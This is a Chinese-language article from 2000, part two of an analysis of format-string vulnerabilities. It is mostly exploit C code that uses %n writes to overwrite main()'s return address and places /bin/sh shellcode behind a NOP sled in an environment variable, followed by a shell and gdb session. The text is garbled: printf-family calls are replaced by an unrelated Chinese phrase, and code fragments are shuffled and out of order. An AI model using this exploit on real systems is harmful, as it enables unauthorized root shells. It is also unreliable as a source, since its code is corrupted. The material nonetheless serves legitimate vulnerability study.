注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果 0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56) ,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们 的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址 的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些 NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行 我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。 if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址 if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n bash# 注意:在我们的程序里,我们实际使用的模式是: AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n 选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会 显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显 示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也 就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是 RETloc,也就是main()的返回地址了。这也很简单: 这个程序在RedHat 6.1和RedHat 6.2下都验证通过。
企业即时通讯工具("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]); if (!(buff = malloc(bsize))) { 企业即时通讯工具("Can't allocate memory./n"); exit(0); } if (!(egg = malloc(eggsize))) { 企业即时通讯工具("Can't allocate memory./n"); exit(0); }
企业即时通讯工具("Using Ret location address: 0x%x/n", retloc); shell_addr = get_esp() + offset; //计算我们shellcode所处的地址 企业即时通讯工具("Using Shellcode address: 0x%x/n", shell_addr);
ptr = buff; memset(buff,'A',4); i = align; buff[i] = retloc & 0x000000ff; // 将retloc放到buff里 buff[i+1] = (retloc & 0x0000ff00) >> 8; buff[i+2] = (retloc & 0x00ff0000) >> 16; buff[i+3] = (retloc & 0xff000000) >> 24;
ptr = buff + i + 4; for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u { memcpy(ptr, "%.10u", 5); ptr += 5; } /* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr, * 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4 * 将这个长度作为第5个%u的宽度值 */ s企业即时通讯工具(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '/0'; egg[eggsize - 1] = '/0';
memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff,NULL,env); } /* end of main */ <- end -> [root@rh62 /root]# ./x 0x41414141 Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize> Using Ret location address: 0x41414141 Using Shellcode address: 0xbffffb08 Segmentation fault (core dumped) [root@rh62 /root]# gdb ./vul core GNU gdb 19991004 #define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐" #define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90
char shellcode[] = "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" "/x80/xe8/xdc/xff/xff/xff/bin/sh"; 发布日期:2000-08-29 文章内容: -------------------------------------------------------------------------------- *企业即时通讯工具()格式化串安全漏洞分析(下) |